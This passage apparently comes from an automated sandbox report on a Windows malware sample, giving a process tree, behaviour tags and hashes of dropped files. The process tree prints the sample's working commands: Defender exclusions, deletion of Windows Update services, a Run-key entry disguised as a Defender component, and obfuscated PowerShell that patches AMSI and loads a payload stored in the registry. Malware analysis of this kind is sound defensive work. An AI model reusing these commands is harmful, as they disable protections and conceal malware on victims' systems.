'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:372
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1532
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2728 -s 1963⤵
- Program crash
PID:4976
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4604
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4980 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:1512
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:1636
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:4932
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:2004
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:4408
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:2296
-
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:4936
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:1564
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:1764
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:4456
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:3804
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2796
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2788
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2776
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2748
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2708
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:2700
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2548
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2540
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}1⤵PID:2516
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2396
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C:\Windows\system32\sihost.exesihost.exe1⤵PID:2376
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2192
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2156
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:2472
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s W32Time1⤵PID:4812
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵PID:1624
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2728 -ip 27282⤵PID:1056
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 4668 -ip 46682⤵PID:1604
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:3252
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵PID:1040
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:1212
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:4836
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:2832
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:1780
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4732
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3228
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3776
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1804
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1980
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1932
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1924
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1904
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1796
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1772
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1664
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s FontCache1⤵PID:1640
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1628
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1592
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1520
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1476
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1460
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1416
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1324
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1308
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1228
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1220
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1100
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1088
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1080
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:lcMWPGhCANJx{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$JniUeBZQzsTAUn,[Parameter(Position=1)][Type]$hEITivPSMn)$IFxQyXPihwK=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'f'+'l'+''+[Char](101)+'c'+[Char](116)+''+[Char](101)+'d'+'D'+'e'+'l'+'e'+[Char](103)+''+[Char](97)+''+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+'m'+''+[Char](111)+''+[Char](114)+''+'y'+''+'M'+''+[Char](111)+''+[Char](100)+'u'+'l'+''+[Char](101)+'',$False).DefineType('M'+'y'+'De'+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+[Char](101)+''+[Char](84)+''+'y'+''+'p'+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+'s'+','+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+'c,S'+'e'+'al'+[Char](101)+''+'d'+''+[Char](44)+''+'A'+'n'+'s'+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+','+'A'+''+[Char](117)+'t'+[Char](111)+''+[Char](67)+''+'l'+''+'a'+''+[Char](115)+'s',[MulticastDelegate]);$IFxQyXPihwK.DefineConstructor('R'+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+'al'+[Char](78)+''+'a'+''+'m'+''+[Char](101)+''+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+'ig'+','+'P'+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$JniUeBZQzsTAUn).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'nt'+[Char](105)+''+[Char](109)+''+'e'+''+','+''+'M'+''+[Char](97)+'n'+'a'+''+'g'+''+'e'+''+[Char](100)+'');$IFxQyXPihwK.DefineMethod(''+[Char](73)+''+'n'+''+'v'+''+'o'+'k'+[Char](101)+'','Publ'+[Char](105)+''+'c'+''+','+'H'+'i'+''+[Char](100)+'e'+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+','+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+'o'+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+'t'+''+'u'+''+'a'+''+[Char](108)+'',$hEITivPSMn,$JniUeBZQzsTAUn).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+',M'+'a'+''+'n'+'a'+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $IFxQyXPihwK.CreateType();}$CjJlldPeJDwfy=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+'st'+[Char](101)+'m'+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+'i'+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+'.'+''+'W'+''+'i'+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+'feC'+[Char](106)+''+[Char](74)+''+[Char](108)+''+[Char](108)+''+'d'+''+[Char](80)+'e'+'J'+''+[Char](68)+''+'w'+''+[Char](102)+''+'y'+'');$IfETtJqZzstwvD=$CjJlldPeJDwfy.GetMethod(''+[Char](73)+'f'+[Char](69)+''+[Char](84)+''+[Char](116)+''+[Char](74)+''+[Char](113)+''+[Char](90)+'zs'+'t'+''+[Char](119)+'v'+[Char](68)+'',[Reflection.BindingFlags]'Pu'+[Char](98)+''+[Char](108)+''+'i'+'c'+[Char](44)+'S'+[Char](116)+''+[Char](97)+''+[Char](116)+'ic',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$tBCWLnFHyBMSARFirlM=lcMWPGhCANJx @([String])([IntPtr]);$vcVHsRsIEOMvJZpxeAtAOX=lcMWPGhCANJx @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$PlkbesoHWnX=$CjJlldPeJDwfy.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+'M'+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+'e'+[Char](72)+''+[Char](97)+''+'n'+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object]('k'+'e'+'r'+[Char](110)+''+'e'+''+'l'+'3'+[Char](50)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')));$EjoeZNTvuergco=$IfETtJqZzstwvD.Invoke($Null,@([Object]$PlkbesoHWnX,[Object](''+'L'+'o'+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+'r'+'a'+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$NwacetmhjyCWXnFZH=$IfETtJqZzstwvD.Invoke($Null,@([Object]$PlkbesoHWnX,[Object](''+[Char](86)+'i'+'r'+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+'P'+'r'+''+'o'+''+'t'+''+[Char](101)+''+[Char](99)+'t')));$qhjoNCp=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EjoeZNTvuergco,$tBCWLnFHyBMSARFirlM).Invoke(''+[Char](97)+''+[Char](109)+'s'+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l');$GwORbXWwwDwjeJKTR=$IfETtJqZzstwvD.Invoke($Null,@([Object]$qhjoNCp,[Object](''+'A'+''+[Char](109)+''+[Char](115)+''+[Char](105)+'S'+[Char](99)+''+[Char](97)+'n'+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+'er')));$DBrnGPvRxE=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NwacetmhjyCWXnFZH,$vcVHsRsIEOMvJZpxeAtAOX).Invoke($GwORbXWwwDwjeJKTR,[uint32]8,4,[ref]$DBrnGPvRxE);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$GwORbXWwwDwjeJKTR,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NwacetmhjyCWXnFZH,$vcVHsRsIEOMvJZpxeAtAOX).Invoke($GwORbXWwwDwjeJKTR,[uint32]8,0x20,[ref]$DBrnGPvRxE);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+'T'+[Char](87)+''+'A'+'R'+[Char](69)+'').GetValue('dia'+[Char](108)+''+'e'+''+'r'+''+'s'+''+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3868 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1856
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:vkewFwgzFjOg{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$jkVlAMPPUiysdP,[Parameter(Position=1)][Type]$NnocultAiw)$jvAvdlptRxe=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+'e'+''+'c'+''+[Char](116)+''+'e'+''+[Char](100)+'D'+[Char](101)+''+[Char](108)+''+'e'+''+'g'+''+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+'M'+''+[Char](101)+'mo'+'r'+''+[Char](121)+'Mo'+'d'+''+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+'e'+''+'l'+''+'e'+''+'g'+''+'a'+''+'t'+''+[Char](101)+''+[Char](84)+''+[Char](121)+'p'+'e'+'','C'+[Char](108)+'a'+'s'+''+[Char](115)+''+','+''+[Char](80)+''+'u'+''+'b'+''+'l'+''+[Char](105)+''+'c'+''+','+''+[Char](83)+''+[Char](101)+''+[Char](97)+'l'+[Char](101)+''+'d'+''+','+'A'+[Char](110)+'s'+[Char](105)+''+[Char](67)+''+'l'+'a'+'s'+''+[Char](115)+''+','+''+'A'+''+[Char](117)+''+[Char](116)+''+[Char](111)+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$jvAvdlptRxe.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+'p'+[Char](101)+''+'c'+''+[Char](105)+''+[Char](97)+'lN'+'a'+''+'m'+''+[Char](101)+''+','+''+'H'+''+[Char](105)+''+'d'+''+'e'+'B'+'y'+''+'S'+'i'+[Char](103)+''+[Char](44)+''+'P'+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+'c',[Reflection.CallingConventions]::Standard,$jkVlAMPPUiysdP).SetImplementationFlags(''+[Char](82)+'untim'+'e'+',M'+[Char](97)+''+[Char](110)+'a'+'g'+''+'e'+''+[Char](100)+'');$jvAvdlptRxe.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+'o'+'k'+'e','Pu'+'b'+'l'+[Char](105)+''+[Char](99)+','+'H'+'i'+[Char](100)+''+[Char](101)+'B'+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+'N'+''+[Char](101)+''+'w'+''+[Char](83)+'l'+'o'+'t'+','+''+[Char](86)+'i'+[Char](114)+'tu'+'a'+'l',$NnocultAiw,$jkVlAMPPUiysdP).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+'m'+'e'+','+''+'M'+''+[Char](97)+''+'n'+'a'+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $jvAvdlptRxe.CreateType();}$KKVpRJAMXmohN=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+'m'+''+[Char](46)+''+[Char](100)+''+'l'+''+'l'+'')}).GetType(''+'M'+''+[Char](105)+''+'c'+''+[Char](114)+'o'+[Char](115)+''+'o'+'ft'+[Char](46)+'W'+[Char](105)+''+[Char](110)+''+[Char](51)+'2'+[Char](46)+''+[Char](85)+''+'n'+''+'s'+''+[Char](97)+''+[Char](102)+''+[Char](101)+'K'+[Char](75)+'V'+[Char](112)+'R'+[Char](74)+''+[Char](65)+''+[Char](77)+''+[Char](88)+'m'+[Char](111)+'h'+'N'+'');$lHifpyDucPqVZj=$KKVpRJAMXmohN.GetMethod('l'+[Char](72)+''+[Char](105)+'f'+'p'+'yD'+'u'+''+[Char](99)+''+[Char](80)+'qV'+'Z'+''+'j'+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+'b'+'l'+''+'i'+'c'+','+''+[Char](83)+'t'+'a'+''+[Char](116)+''+'i'+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$TYazEPflvIZnCZDxgMA=vkewFwgzFjOg @([String])([IntPtr]);$EtJSLFByFUbMwbAnvbuoxm=vkewFwgzFjOg @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$jvFdyzFpnTe=$KKVpRJAMXmohN.GetMethod('G'+'e'+'tMod'+'u'+''+[Char](108)+''+[Char](101)+'H'+[Char](97)+''+[Char](110)+''+'d'+''+[Char](108)+'e').Invoke($Null,@([Object]('k'+'e'+'rn'+[Char](101)+''+[Char](108)+''+'3'+''+[Char](50)+''+'.'+''+'d'+''+[Char](108)+''+'l'+'')));$EHMjIrLuHhcNKn=$lHifpyDucPqVZj.Invoke($Null,@([Object]$jvFdyzFpnTe,[Object](''+[Char](76)+''+'o'+'a'+'d'+''+[Char](76)+'i'+[Char](98)+''+[Char](114)+''+'a'+''+'r'+''+'y'+''+'A'+'')));$pKlNDONQEmBgwOhjE=$lHifpyDucPqVZj.Invoke($Null,@([Object]$jvFdyzFpnTe,[Object](''+'V'+'i'+'r'+''+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+''+'P'+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$ScxcPFh=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EHMjIrLuHhcNKn,$TYazEPflvIZnCZDxgMA).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+''+[Char](105)+'.d'+[Char](108)+'l');$aGjLIMPeXlLpRWiaY=$lHifpyDucPqVZj.Invoke($Null,@([Object]$ScxcPFh,[Object](''+[Char](65)+'m'+[Char](115)+''+[Char](105)+''+[Char](83)+'c'+'a'+''+[Char](110)+''+[Char](66)+''+'u'+''+[Char](102)+'f'+'e'+'r')));$eJVVpsQXPo=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pKlNDONQEmBgwOhjE,$EtJSLFByFUbMwbAnvbuoxm).Invoke($aGjLIMPeXlLpRWiaY,[uint32]8,4,[ref]$eJVVpsQXPo);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$aGjLIMPeXlLpRWiaY,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pKlNDONQEmBgwOhjE,$EtJSLFByFUbMwbAnvbuoxm).Invoke($aGjLIMPeXlLpRWiaY,[uint32]8,0x20,[ref]$eJVVpsQXPo);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+'W'+'A'+'R'+[Char](69)+'').GetValue(''+[Char](100)+''+'i'+''+'a'+''+[Char](108)+'ers'+'t'+''+[Char](97)+'g'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2084
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:680
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:4888
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:1952
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:4476
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵PID:3196
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
226B
MD5916851e072fbabc4796d8916c5131092
SHA1d48a602229a690c512d5fdaf4c8d77547a88e7a2
SHA2567e750c904c43d27c89e55af809a679a96c0bb63fc511006ffbceffc2c7f6fb7d
SHA51207ce4c881d6c411cac0b62364377e77950797c486804fb10d00555458716e3c47b1efc0d1f37e4cc3b7e6565bb402ca01c7ea8c963f9f9ace941a6e3883d2521
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Filesize
19KB
MD5b19e4c9346138b2b93a563bf7b20436a
SHA1d5b7a7fe488e7673ab4ed10979133eaaa44b7fa6
SHA256fd67cd4e63c2e928ab9fd22ce2795441c7ccd3bbd47d4cb7e5f6075cfc39c346
SHA5123463c47310f07a4f35fe31ff31f82091485d37113c02e4eb5ff665b35db479c0eff5b082ef800e8eb6b74acdd71785053447f08b138d64c50bbc35475b9f0e12
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Filesize
948B
MD5a7ce8cefc3f798abe5abd683d0ef26dd
SHA1b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e
SHA2565e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
SHA512c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
455KB
MD5ee0ad7cc2a5976a5c658da52092977a9
SHA1c69b99d42a9f9886af74e6a75fd905a5d17d4792
SHA256f0cc93428ff55575086b843e642c33283067a980fc9cb1f17afc3559b101ff1b
SHA512ca7f8b1409156b7d1b143cfb33f64056a8c2a8ce401dc735c82828521922044f86680ca6c1b4b08955689c5ba11c94930fe64cce37258e621c7d47ee2dafea17
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Filesize
455KB
MD5ee0ad7cc2a5976a5c658da52092977a9
SHA1c69b99d42a9f9886af74e6a75fd905a5d17d4792
SHA256f0cc93428ff55575086b843e642c33283067a980fc9cb1f17afc3559b101ff1b
SHA512ca7f8b1409156b7d1b143cfb33f64056a8c2a8ce401dc735c82828521922044f86680ca6c1b4b08955689c5ba11c94930fe64cce37258e621c7d47ee2dafea17